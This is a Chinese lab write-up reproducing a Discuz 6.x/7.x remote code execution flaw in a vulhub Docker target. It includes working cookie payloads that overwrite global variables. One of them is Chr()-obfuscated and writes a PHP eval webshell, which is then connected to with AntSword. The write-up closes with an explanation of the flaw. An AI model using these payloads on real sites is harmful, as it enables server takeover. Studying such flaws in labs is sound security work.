漏洞复现-Discuz-命令执行(wooyun-2010-080723)

 
 
 
 

0x00 实验环境

攻击机:win10

靶机:Ubuntu18 (docker搭建的vulhub靶场)

0x01 影响版本

Discuz 7.x 6.x版本

0x02 实验目的

学习discuz的部分漏洞原理,并复现该漏洞,为以后的更多的挖洞姿势做准备

0x03 实验步骤

首先是对环境进行搭建,这个复现比较特殊,需要我们先安装Discuz。

 自行对以下内容进行填写(前提是需要记得住),数据库默认账号为root,密码为root

安装成功,接下来我们进行下一步

 进入到访问页面,查看到以下内容后,可开始进行漏洞复现:

 安装成功后,找到一个帖子,可直接进行命令执行的操作:

此为管理员发布的一条帖子,我们抓包后通过修改cookie的操作也直接进行命令执行:

 将Cookie内的内容修改为:

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

 

 发现以上命令执行成功,进行写入shell的操作:

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))

在上述代码中,文件为:x.php   密码为: pwd

 然后我们访问http://[IP]:[Port]/x.php,连上写入的马,使用蚁剑连接成功,这样就getshell了:

 0x04 实验原理

(1)由于php版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。

(2)如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

原文地址:https://www.cnblogs.com/cute-puli/p/13333991.html